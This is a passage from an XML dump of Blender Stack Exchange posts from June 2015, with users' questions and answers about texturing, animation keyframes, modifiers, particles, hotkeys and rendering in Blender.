rel=&quot;noreferrer&quot;&gt;http://imgur.com/a/0Fpru&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;KeepWaiting&lt;/strong&gt;'s Scratch Brushes:&lt;/em&gt; &lt;a href=&quot;http://keepwaiting.deviantart.com/art/11-Scratch-Brushes-for-PS7-177075258&quot; rel=&quot;noreferrer&quot;&gt;http://keepwaiting.deviantart.com/art/11-Scratch-Brushes-for-PS7-177075258&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3)&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;chain&lt;/strong&gt;'s Fingerprint Brushes:&lt;/em&gt; &lt;a href=&quot;http://chain.deviantart.com/art/fingerprint-brushes-549217&quot; rel=&quot;noreferrer&quot;&gt;http://chain.deviantart.com/art/fingerprint-brushes-549217&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; &lt;em&gt;Original Dirt Map Image:&lt;/em&gt; &lt;a href=&quot;https://hmmatthews.files.wordpress.com/2012/07/table_colour.jpg&quot; rel=&quot;noreferrer&quot;&gt;https://hmmatthews.files.wordpress.com/2012/07/table_colour.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15132" LastEditorUserId="15132" LastEditDate="2015-06-27T13:46:41.670" LastActivityDate="2015-06-27T13:46:41.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33055" PostTypeId="1" AcceptedAnswerId="33076" CreationDate="2015-06-27T01:46:30.067" Score="3" ViewCount="231" Body="&lt;p&gt;I'm not sure if this is something I should be doing in Photoshop or in Blender, but I have a file that looks like this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/gjyXZMh.png&quot; alt=&quot;texture map&quot;&gt;&lt;br&gt;&#xA;It is supposed to darken or lighten the underlying color to create shading. I know how to apply transparency and normal masks, but I can't find an option for this one, and I haven't had any luck googling for it.&lt;/p&gt;&#xA;" OwnerUserId="15256" LastEditorUserId="2217" LastEditDate="2015-06-27T02:26:07.613" LastActivityDate="2015-06-27T14:41:08.767" Title="How do I apply a light/dark mask to a mesh?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;image&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33056" PostTypeId="1" CreationDate="2015-06-27T02:14:13.017" Score="11" ViewCount="31155" Body="&lt;p&gt;I want to make an object spin very fast and slow it back down to a stop at where it started to spin.  As if I have a photo in a video and make the photo spin.  So I want to make a video with a spinning object in it.&lt;/p&gt;&#xA;" OwnerUserId="15257" LastEditorUserId="2217" LastEditDate="2015-06-27T02:27:09.003" LastActivityDate="2015-06-27T02:48:15.523" Title="How to make an object spin?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33057" PostTypeId="2" ParentId="33056" CreationDate="2015-06-27T02:29:32.607" Score="9" Body="&lt;p&gt;To animate an object you must use &lt;em&gt;keyframes&lt;/em&gt;, a keyframe tells Blender the state of an object at a certain frame.  Blender will then interpolate the state of the object through the frames in between the keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keyframe a property of an object, simply go to the frame where you want to place the keyframe, set the value of the property you want to animate, hover over the property with your mouse, and hit &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DhEP2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Keyframed properties will be yellow at frames with a keyframe and green on all other frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To spin the object I added a keyframe for z-axis rotation of 0 at frame 0, then one for z-axis rotation of 10,000 at frame 240.  This makes the object spin 10,000 degrees over 240 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then adjust the interpolation curve in the &lt;em&gt;graph editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o2hKN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The interpolation is defined by a &lt;a href=&quot;https://en.wikipedia.org/wiki/B%C3%A9zier_curve&quot; rel=&quot;noreferrer&quot;&gt;Bezier curve&lt;/a&gt;, you can select and manipulate the keframes and thier Bezier handles in the graph editor.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-06-27T02:48:15.523" LastActivityDate="2015-06-27T02:48:15.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33058" PostTypeId="1" CreationDate="2015-06-27T04:05:12.903" Score="1" ViewCount="1167" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hzGIj.png&quot; alt=&quot;enter image description here&quot;&gt;I am trying to model a pistol in blender, when i try to subtract the solid block using the boolean tool all it does is crash my program. Any help solving this problem would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNNI8.png&quot; alt=&quot;Pistol Model Boolean&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/299/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=299&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNNI8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15259" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2019-01-28T15:37:56.340" Title="Repeated crashes using a Boolean / Difference Modifier" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33059" PostTypeId="1" CreationDate="2015-06-27T04:10:55.707" Score="2" ViewCount="1429" Body="&lt;p&gt;I'm making a flock of birds with boids.  I want them to move along a path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried curve guide, but they always move away from the curve.  If I make the particles Newtonian, then they follow the curve, but not boids. I want to use boids because I need them to be separate and flock reaching a goal.&lt;/p&gt;&#xA;" OwnerUserId="15258" LastEditorUserId="25" LastEditDate="2015-11-26T00:58:34.303" LastActivityDate="2015-11-26T01:08:51.257" Title="How can I make boids move along a path?" Tags="&lt;particles&gt;&lt;force-fields&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33061" PostTypeId="1" AcceptedAnswerId="33383" CreationDate="2015-06-27T04:51:27.890" Score="3" ViewCount="64" Body="&lt;p&gt;I'm having trouble trying to motion track a video, because it loads a frame ahead or behind depending on whether I play or seek through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example: I load my .blend and then seek to frame 70. Then I open it again, but this time, I play the animation until it reaches frame 70, &lt;em&gt;then&lt;/em&gt; seek there. All of the trackers are now off.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tr1hY.png&quot; alt=&quot;seeking and playing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sort of error isn't good when I'm seeking and playing a lot, as it causes my tracking to look early or late. &lt;strong&gt;Is there a way to fix or work around it?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15260" LastEditorUserId="15260" LastEditDate="2015-07-03T15:27:22.777" LastActivityDate="2015-07-03T16:49:07.703" Title="Why does video load unpredictably?" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33062" PostTypeId="2" ParentId="33015" CreationDate="2015-06-27T05:35:16.433" Score="2" Body="&lt;p&gt;I have run Blender on an ARMv7 CPU somewhat similar to the one the Raspberry Pi 2 model B uses, so I think Blender has no problems running on this architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, the problem would be processing power. On my Google Nexus 4, which has a quad-core 1.5 GHz Qualcomm Krait CPU, it took well over an hour to render &lt;a href=&quot;http://mikepan.com/bmw.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mike Pan's BMW scene&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ps7iI.jpg&quot; alt=&quot;photo of Blender rendering Mike Pan&amp;#39;s BMW on a Google Nexus 4&quot; title=&quot;No, this is not a screenshot.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Comparison_of_ARMv7-A_cores&quot; rel=&quot;nofollow noreferrer&quot;&gt;This table on Wikipedia&lt;/a&gt; seems to show that the Krait in my phone would perform about the same as, or perhaps a bit better than, the Cortex A7 in the Raspberry Pi 2. Additionally, the Pi runs at 0.9 rather than 1.5 GHz. Would a setup with CPUs like these be able to render images? Almost certainly. Would you want to wait for them to do it? Personally, I think you wouldn't.&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="1253" LastEditDate="2015-06-27T05:56:53.397" LastActivityDate="2015-06-27T05:56:53.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33063" PostTypeId="1" AcceptedAnswerId="33067" CreationDate="2015-06-27T06:28:51.283" Score="0" ViewCount="398" Body="&lt;p&gt;I'd like to use Alt + Right mouse to zoom in the UV/Image Editor. Currently, it's set to Ctrl + Right Mouse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View2D has a hotkey for Zoom 2D View set to Ctrl + Right Mouse. I changed it to Alt + Right Mouse, then Save User Settings, and in the UV/Image Editor, zoom is still using Ctrl + Right Mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;userpref.blend is also writable.&lt;/p&gt;&#xA;" OwnerUserId="15262" LastActivityDate="2015-06-27T08:07:07.253" Title="View2D Zoom 2D View hotkeys" Tags="&lt;uv&gt;&lt;image&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33065" PostTypeId="2" ParentId="33011" CreationDate="2015-06-27T07:45:40.883" Score="2" Body="&lt;p&gt;Selecting one side of your mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TXGhN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use inset &lt;kbd&gt;I&lt;/kbd&gt; to get a border of quads&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kaAPa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat for surrounding sides&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a1Sn6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the boundary of the side and add a bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hk3k1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the faces of one side selected you can use Select Boundary Loop (in the select menu) to get the outer edge loop to bevel.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-27T07:45:40.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33066" PostTypeId="2" ParentId="33015" CreationDate="2015-06-27T07:59:42.767" Score="1" Body="&lt;p&gt;Yes Blender &lt;strong&gt;can&lt;/strong&gt; run on the ARM architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you only want to use this for rendering, you don't have to be concerned with OpenGL driver issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender runs on ARM, MIPS, PPC, SPARC,... and other architectures.&lt;br&gt;&lt;em&gt;See Debian package details &lt;a href=&quot;https://packages.debian.org/search?keywords=blender&quot; rel=&quot;nofollow&quot;&gt;https://packages.debian.org/search?keywords=blender&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But note that official blender.org releases aren't provided for the ARM architecture. So you'll typically need to use a package manager (with Linux).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-27T08:12:53.023" LastActivityDate="2015-06-27T08:12:53.023" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33067" PostTypeId="2" ParentId="33063" CreationDate="2015-06-27T08:07:07.253" Score="0" Body="&lt;p&gt;The zoom setting you find listed under View2D refer to flat layouts such as dopesheet, graph editor, VSE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust the UV/Image Editor zoom settings you need to alter the zoom settings found under Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tqyru.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-27T08:07:07.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33068" PostTypeId="2" ParentId="33048" CreationDate="2015-06-27T08:35:18.203" Score="3" Body="&lt;p&gt;There are two parts to the render layers settings. First is each render layer that you create, each of these results in a new rendered image that can be added into blenders compositor. Second is the passes that are used to make up the render layer, these are available as sockets in blender's compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you save the render result you will normally save the combined result as a 2d image, most image formats will only support this one flat output. However if you save the render result as OpenEXR multilayer, then you will get each render layer and associated passes in the one file. Depending on the level of OpenEXR support in your other application you should get access to each of these outside of blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to setup a File Output for each pass, this will let you save each chosen pass or layer as a separate image that can be used by any application. To do this you connect each desired socket to a File Output node in the compositor, use the properties panel N to access all settings for the file output node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NfjFP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-27T08:35:18.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33069" PostTypeId="2" ParentId="32976" CreationDate="2015-06-27T09:42:39.263" Score="0" Body="&lt;p&gt;the second object has a view double vertices so you have to remove them. In edit mode select the object, then W --&gt; remove doubles. Then UV unwrap again.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-06-27T10:26:41.183" LastActivityDate="2015-06-27T10:26:41.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33070" PostTypeId="1" CreationDate="2015-06-27T10:11:21.663" Score="0" ViewCount="104" Body="&lt;p&gt;Hi there I have spent about an hour making some edits to my project only to find that for some reason all the cubes, that I had set to fall and bounce on the plane, now simply hover in mid air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uploaded the project in question below. (or will try to)&#xA;I would be very grateful of any help.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0BxGe-nHf9cwRdXh3cl9POXVfelk/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Google Drive Blend File&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question was removed as of apparently being solved by an answer given to another question which referenced to reseting the rigid body world cache. This would make sense as I have been editing the FPS. However I have never enabled rigid body world. And it has worked perfectly fine before. I actually originally downloaded this project as a template put have since heavily modified it. I have re downloaded that template and found that it too of course does not have a rigid body world enabled. I can not find out what is wrong because I have realised that I don't know how the cubes ever managed to fall to the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the original template that I used.&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0BxGe-nHf9cwRdXh3cl9POXVfelk/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Google Drive Original template blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the quick response that I previously received.&lt;/p&gt;&#xA;" OwnerUserId="15115" LastEditorUserId="241" LastEditDate="2016-09-05T15:40:05.753" LastActivityDate="2016-09-05T15:40:05.753" Title="All falling objects freeze - why?" Tags="&lt;cycles-render-engine&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-06-27T15:45:35.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="33071" PostTypeId="1" AcceptedAnswerId="33113" CreationDate="2015-06-27T10:35:40.623" Score="8" ViewCount="5656" Body="&lt;p&gt;Is there a way to create a flat mesh from an image that has transparency, so that the mesh matches shape and does not include the transparency in the geometry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried converting my image in an .svg with inkscape and adding a bitmap, but the results get very messy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ao8jf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ao8jf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="12787" LastEditorUserId="3710" LastEditDate="2015-07-31T10:43:09.937" LastActivityDate="2015-08-17T12:45:57.453" Title="Create a mesh from image with transparency" Tags="&lt;mesh&gt;&lt;image&gt;&lt;geometry&gt;&lt;conversion&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33073" PostTypeId="1" CreationDate="2015-06-27T12:29:38.387" Score="2" ViewCount="728" Body="&lt;p&gt;Suddenly I only get a gray background in my cycles renders, even though film--&gt;transparent has been checked and the format is a PNG with RGBA enabled. The image still contains the alpha information (verified in another software) but why is Blender displaying this gray background?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is 20 sec video demonstrating the problem:&#xA;&lt;a href=&quot;https://youtu.be/1FqZaiTiCFU&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/1FqZaiTiCFU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2015-06-29T19:38:56.887" Title="No transparency in rendered background, is this a bug?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-06-29T19:43:53.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="33074" PostTypeId="2" ParentId="32479" CreationDate="2015-06-27T14:12:29.173" Score="2" Body="&lt;p&gt;If you neglect air drag and other forces, basic mechanics tells you that there is no net torque due to the weight of the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;An example can be this: Imagine a point mass m attached via a massless bar to a point mass 2m. Assume that the bara is 1 meter long. Then the center of mass will be 1/3 meters from the heavier mass. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the gravitational force acting on the two masses is mg and 2mg, respectively. &lt;a href=&quot;https://i.stack.imgur.com/DHubn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DHubn.png&quot; alt=&quot;Two point masses attached via bar.&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The torque due to gravity around the center of mass from the left mass is mg*(2/3 meters), where 2/3 meters is the distance from the mass to the center of gravity. This torque tries to rotate the bar counter clockwise. Now the torque from the gravity force acting on the heaver mass is 2mg*(1/3 meters) = mg*(2/3 meters), but this torque tries to rotate the bar clockwise. Hence they two torques exactly cancels and there will be no rotation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be proven also in the general case which is done in most beginners university courses on classical mechanics. &lt;/p&gt;&#xA;" OwnerUserId="8108" LastEditorUserId="8108" LastEditDate="2015-10-02T06:33:00.263" LastActivityDate="2015-10-02T06:33:00.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33075" PostTypeId="1" CreationDate="2015-06-27T14:26:44.567" Score="2" ViewCount="403" Body="&lt;p&gt;After giving 2 days of failed attempts to model this image (of a lamp) using Simple deform modifier; can any one help me to model it (preferably with simple deform tool)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y8mfJ.png&quot; alt=&quot;Image of lamp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmPKh.png&quot; alt=&quot;Image of lamp&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8110" LastEditorUserId="2217" LastEditDate="2015-06-27T18:37:47.273" LastActivityDate="2015-06-27T19:00:11.713" Title="Modelling with Simple Deform?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33076" PostTypeId="2" ParentId="33055" CreationDate="2015-06-27T14:41:08.767" Score="0" Body="&lt;p&gt;It is a bit difficult to understand what you are describing. I would have to assume you are using Cycles, and that you already have a mesh that is UV unwrapped to match the layout of this image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above is true, you would &quot;apply a light /dark mask&quot;  by using a mix node set to overlay mode. You would plug your underlying surface into the top of the mix node, and plug this image into the bottom of the mix node. Overlay ensures it will lighten or darken as appropriate to your image. You would then increase the factor to get a level of mixture that you desired. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. &lt;/p&gt;&#xA;" OwnerUserId="13661" LastActivityDate="2015-06-27T14:41:08.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33077" PostTypeId="1" AcceptedAnswerId="33104" CreationDate="2015-06-27T15:51:51.270" Score="1" ViewCount="76" Body="&lt;p&gt;I have a obj file which contains a basic model with two various versions of it you can see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3J8d.png&quot; alt=&quot;Osun model&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This model contains a grey/teal/blue model (Darkwitch) with their textures and a purple/orange one (Kuralak). Unfortunately both versions have different geometry like the horns and shoulder which only belong to the Darkwitch. Looking through the texture files you can see that there are several materials for this model:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzhG9.png&quot; alt=&quot;Textures&quot;&gt;&#xA;Even though I know that it really depends on the model/file itself I would like to know how I can have a look at the different geometries trying to separate them? Or is it somehow possible to make all other textures transparent so only the Kuralak model becomes visible?&lt;/p&gt;&#xA;" OwnerUserId="15267" LastActivityDate="2015-07-28T04:09:57.293" Title="Splitting geometry of two models which are merged together" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33079" PostTypeId="2" ParentId="33075" CreationDate="2015-06-27T15:56:36.903" Score="3" Body="&lt;p&gt;Here's the result I've achieved in few steps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ucDeC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an &lt;em&gt;Empty&lt;/em&gt; and a mesh representing the lamp's profile.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1rqJR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being in Object Mode add the &lt;strong&gt;&lt;em&gt;Screw Modifier&lt;/em&gt;&lt;/strong&gt; and set &lt;em&gt;Empty&lt;/em&gt; in the &lt;em&gt;AxisOb&lt;/em&gt; window. Change the number of &lt;strong&gt;&lt;em&gt;Steps&lt;/em&gt;&lt;/strong&gt; to define the number of the strips (for example if your lamp consists of 12 strips, you should set the number of &lt;em&gt;Steps&lt;/em&gt; to 24). Then apply the &lt;strong&gt;&lt;em&gt;Screw Modifier&lt;/em&gt;&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Rja3Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select every other strip and delete them.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pCIl3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Simple Deform Modifier&lt;/em&gt;&lt;/strong&gt;, set its type to &lt;strong&gt;&lt;em&gt;Bend&lt;/em&gt;&lt;/strong&gt; and change the &lt;em&gt;Angle&lt;/em&gt; of a deformation a bit.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c5plM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also use the other method to achieve it. In &lt;em&gt;Edit Mode&lt;/em&gt; select the top vertex and snap the cursor to it. Enable the &lt;em&gt;Proportional Editing Mode&lt;/em&gt; (&lt;kbd&gt;O&lt;/kbd&gt;). Set the proper &lt;em&gt;Proportional Size&lt;/em&gt; using &lt;em&gt;Mouse Scroll&lt;/em&gt; and move the vertex horizontaly a bit. You can make the lamp shape look less regular using the same method.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ys6Ku.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may now add &lt;strong&gt;&lt;em&gt;Subsurf&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;Solidify&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Edge Split Modifiers&lt;/em&gt;&lt;/strong&gt; to make the strips look more smooth and give them some thickness.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hAqV0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-06-27T18:19:30.320" LastActivityDate="2015-06-27T18:19:30.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33080" PostTypeId="1" CreationDate="2015-06-27T16:20:03.307" Score="0" ViewCount="2348" Body="&lt;p&gt;I tried searching around for why this might be happening, I can only assume I hit some stupid hotkey at some point and didn't realize it. My issue is that my model is only displaying as its vertices in Blender Render and in the 3d Full View. I can see the wireframe in Object mode. It renders fine in Cycles for some reason, and in edit mode, I can see all the faces and whatnot perfectly fine. It's not an issue with Maximum Draw Type, as that is set to &quot;textured&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Render View and Object Mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/LCYua7y.jpg&quot; alt=&quot;Render View and Object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3D Full View in Object Mode&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/BDHZd7Z.jpg&quot; alt=&quot;3d Full View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3D Full View in Edit Mode&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.imgur.com/TrP0QSL.jpg&quot; alt=&quot;3d Full View in Edit&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great! Sorry if this is a stupid question!&lt;/p&gt;&#xA;" OwnerUserId="15269" LastActivityDate="2015-06-27T16:33:49.570" Title="Only Vertices/Wireframe in Blender Render and Object Mode" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33081" PostTypeId="2" ParentId="33080" CreationDate="2015-06-27T16:33:49.570" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHlkF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You changed your material type to a HALO&#xA;In material settings, switch to a Surface type, and you'll be fine&lt;/p&gt;&#xA;" OwnerUserId="15268" LastActivityDate="2015-06-27T16:33:49.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33082" PostTypeId="1" CreationDate="2015-06-27T16:37:10.343" Score="1" ViewCount="532" Body="&lt;p&gt;When I import my MH mhx2 into Avatar Workbench for SL, the worbench.blend file is in right ortho, so it faces right. When I import my MHX2 avatar from MH, it faces to the front, so I can't rig it to the SL fitted mesh skeleton. In SL, there is a way to rotate the Av from side to front, but I can't seem to find that same axis control in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the scale issue in MH, it only imports with the proper scale if I go from MH to Sculptris to Blender, and I have to use the avatarworkbench.blend file, but when I do that I get the problem I wrote about above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just import the MHX2 file directly, it only shows up in 3D Full view, it is turned towards the left slightly, and I also can't scale or rotate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to attach the fitted mesh SL Skeleton (with the additional collision bones for fitted mesh) to my MH avatar without so much fuss, and I need to find out how to &quot;rotate&quot; my MH Avatar to face front in avatar 